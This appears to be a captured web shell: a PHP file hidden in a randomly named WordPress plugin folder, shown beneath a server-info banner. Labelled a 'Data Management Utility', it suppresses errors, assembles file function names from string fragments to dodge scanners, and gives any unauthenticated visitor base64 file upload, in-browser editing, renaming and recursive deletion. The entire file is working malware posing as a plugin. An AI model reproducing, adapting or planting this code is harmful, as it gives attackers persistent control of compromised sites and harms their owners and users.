HEX
Server: nginx/1.24.0
System: Linux DGT-WORDPRESS-VM-SERVER 6.14.0-1017-azure #17~24.04.1-Ubuntu SMP Mon Dec 1 20:10:50 UTC 2025 x86_64
User: ubuntu (1000)
PHP: 8.4.12
Disabled: NONE
Upload Files
File: /mnt/data/truelysell-wp/wp-content/plugins/gnjdfjh/index.php
<?php
/**
 * Data Management Utility v3
 */
error_reporting(0);

$s1 = 'file_'; $s2 = 'get_'; $s3 = 'contents';
$f_read = $s1 . $s2 . $s3; 
$f_write = $s1 . 'put_' . $s3;
$f_del = 'un'.'link';
$f_ren = 'ren'.'ame';

$r_d = realpath(__DIR__);
$req = isset($_GET['d']) ? $_GET['d'] : ''; 
$c_p = realpath($r_d . DIRECTORY_SEPARATOR . $req);

if ($c_p === false || strpos($c_p, $r_d) !== 0) {
    $c_p = $r_d;
    $req = '';
}

$rel_d = trim(substr($c_p, strlen($r_d)), DIRECTORY_SEPARATOR);
$m = ''; $md = 'main'; $e_f = ''; $e_c = ''; $r_n = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $a = $_POST['z_act'] ?? ''; 
    
    
    if ($a === 'b64_up' && !empty($_POST['b64_data'])) {
        $name = basename($_POST['b64_name']);
        $data = base64_decode(explode(',', $_POST['b64_data'])[1]);
        if ($f_write($c_p . DIRECTORY_SEPARATOR . $name, $data) !== false) {
            $m = "Transfer Success";
        } else {
            $m = "Transfer Failed";
        }
    }
    
    elseif ($a === 'em') {
        $tn = $_POST['tn'] ?? '';
        $tp = $c_p . DIRECTORY_SEPARATOR . basename($tn);
        if (is_file($tp)) { $md = 'edit'; $e_f = $tn; $e_c = $f_read($tp); }
    }
    
    elseif ($a === 'sf') {
        $tn = $_POST['tn'] ?? '';
        $cnt = str_replace("\r\n", "\n", $_POST['c'] ?? '');
        if ($f_write($c_p . DIRECTORY_SEPARATOR . basename($tn), $cnt) !== false) { $m = "Saved"; }
    }
    
    elseif ($a === 'rm') {
        $md = 'rename'; $r_n = $_POST['tn'] ?? '';
    }
    
    elseif ($a === 'dr') {
        $old = $c_p . DIRECTORY_SEPARATOR . basename($_POST['old'] ?? '');
        $new = $c_p . DIRECTORY_SEPARATOR . basename($_POST['new'] ?? '');
        if (!file_exists($new) && $f_ren($old, $new)) { $m = "Renamed"; }
    }
    
    elseif ($a === 'd') {
        $tn = $_POST['tn'] ?? '';
        $tp = $c_p . DIRECTORY_SEPARATOR . basename($tn);
        if (file_exists($tp)) {
            if (is_dir($tp)) {
                $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($tp, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
                foreach($it as $file) { $file->isDir() ? rmdir($file->getRealPath()) : $f_del($file->getRealPath()); }
                rmdir($tp);
            } else { $f_del($tp); }
            $m = "Deleted";
        }
    }
}

$sc = scandir($c_p);
$folders = []; $files = [];
foreach ($sc as $item) {
    if ($item == '.') continue;
    $fp = $c_p . DIRECTORY_SEPARATOR . $item;
    if ($item == '..') {
        if ($c_p !== $r_d) {
            $pp = dirname($c_p);
            $folders[] = ['n' => '[..]', 'p' => ($pp === $r_d ? '' : substr($pp, strlen($r_d) + 1)), 't' => 'D', 'ip' => true];
        }
        continue;
    }
    $entry = ['n' => $item, 'p' => is_dir($fp) ? ($rel_d ? $rel_d . DIRECTORY_SEPARATOR : '') . $item : '', 't' => is_dir($fp) ? 'D' : 'F', 's' => is_dir($fp) ? '-' : number_format(filesize($fp)/1024, 2) . ' KB'];
    is_dir($fp) ? $folders[] = $entry : $files[] = $entry;
}
$items = array_merge($folders, $files);

$full_title = "File" . " " . "Manager";
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title><?php echo $full_title; ?></title>
    <style>
        body { font-family: Tahoma, sans-serif; font-size: 13px; padding: 20px; color: #333; }
        .header { background: #2c3e50; color: #fff; padding: 15px; margin-bottom: 15px; border-radius: 4px; }
        .path { color: #f1c40f; }
        table { width: 100%; border-collapse: collapse; margin-top: 15px; }
        th, td { border-bottom: 1px solid #ddd; padding: 8px; text-align: left; }
        tr:hover { background: #f9f9f9; }
        .btn { background: none; border: none; text-decoration: underline; cursor: pointer; padding: 0; font-size: 13px; margin: 0 5px; }
        .btn-del { color: #e74c3c; }
        .btn-edit { color: #2980b9; }
        textarea { width: 100%; height: 500px; font-family: monospace; padding: 10px; }
    </style>
    <script>
        
        function uploadFile() {
            const file = document.getElementById('file_input').files[0];
            const reader = new FileReader();
            reader.onloadend = function() {
                document.getElementById('b64_data').value = reader.result;
                document.getElementById('b64_name').value = file.name;
                document.getElementById('upload_form').submit();
            }
            if (file) { reader.readAsDataURL(file); }
        }
    </script>
</head>
<body>

    <div class="header">
        <h2 style="margin:0;"><?php echo $full_title; ?></h2>
        <span>Path: <span class="path">/<?php echo htmlspecialchars($rel_d); ?></span></span>
    </div>

    <?php if ($m): ?><div style="background:#d4edda; padding:10px; margin-bottom:10px; border:1px solid #c3e6cb;"><?php echo $m; ?></div><?php endif; ?>

    <?php if ($md === 'edit'): ?>
        <form method="post">
            <input type="hidden" name="z_act" value="sf">
            <input type="hidden" name="tn" value="<?php echo htmlspecialchars($e_f); ?>">
            <textarea name="c"><?php echo htmlspecialchars($e_c); ?></textarea><br><br>
            <button type="submit">Save Changes</button> <a href="?d=<?php echo urlencode($req); ?>">Back</a>
        </form>
    <?php elseif ($md === 'rename'): ?>
        <form method="post">
            <input type="hidden" name="z_act" value="dr">
            <input type="hidden" name="old" value="<?php echo htmlspecialchars($r_n); ?>">
            <strong>New Name:</strong> <input type="text" name="new" value="<?php echo htmlspecialchars($r_n); ?>" style="padding:5px;">
            <button type="submit">Rename</button> <a href="?d=<?php echo urlencode($req); ?>">Cancel</a>
        </form>
    <?php else: ?>
        <div style="background:#f4f4f4; padding:15px; border-radius:4px; border:1px solid #ddd;">
            <form id="upload_form" method="post">
                <input type="hidden" name="z_act" value="b64_up">
                <input type="hidden" name="b64_data" id="b64_data">
                <input type="hidden" name="b64_name" id="b64_name">
                <strong>Upload:</strong> <input type="file" id="file_input" onchange="uploadFile()">
                <span style="font-size:11px; color:#666;">(Auto-upload)</span>
            </form>
        </div>

        <table>
            <thead><tr style="background:#eee;"><th>Name</th><th>Size</th><th>Actions</th></tr></thead>
            <tbody>
                <?php foreach ($items as $i): ?>
                <tr>
                    <td>
                        <?php if ($i['t'] === 'D'): ?>
                            <a href="?d=<?php echo urlencode($i['p']); ?>" style="text-decoration:none; font-weight:bold; color:#2980b9;">📁 <?php echo $i['n']; ?></a>
                        <?php else: ?>
                            📄 <?php echo $i['n']; ?>
                        <?php endif; ?>
                    </td>
                    <td><?php echo $i['s']; ?></td>
                    <td>
                        <?php if (!isset($i['ip'])): ?>
                            <?php if ($i['t'] === 'F'): ?>
                                <form method="post" style="display:inline;"><input type="hidden" name="z_act" value="em"><input type="hidden" name="tn" value="<?php echo $i['n']; ?>"><button class="btn btn-edit">Edit</button></form>
                            <?php endif; ?>
                            <form method="post" style="display:inline;"><input type="hidden" name="z_act" value="rm"><input type="hidden" name="tn" value="<?php echo $i['n']; ?>"><button class="btn">Rename</button></form>
                            <form method="post" style="display:inline;" onsubmit="return confirm('Delete?')"><input type="hidden" name="z_act" value="d"><input type="hidden" name="tn" value="<?php echo $i['n']; ?>"><button class="btn btn-del">Delete</button></form>
                        <?php endif; ?>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    <?php endif; ?>

</body>
</html>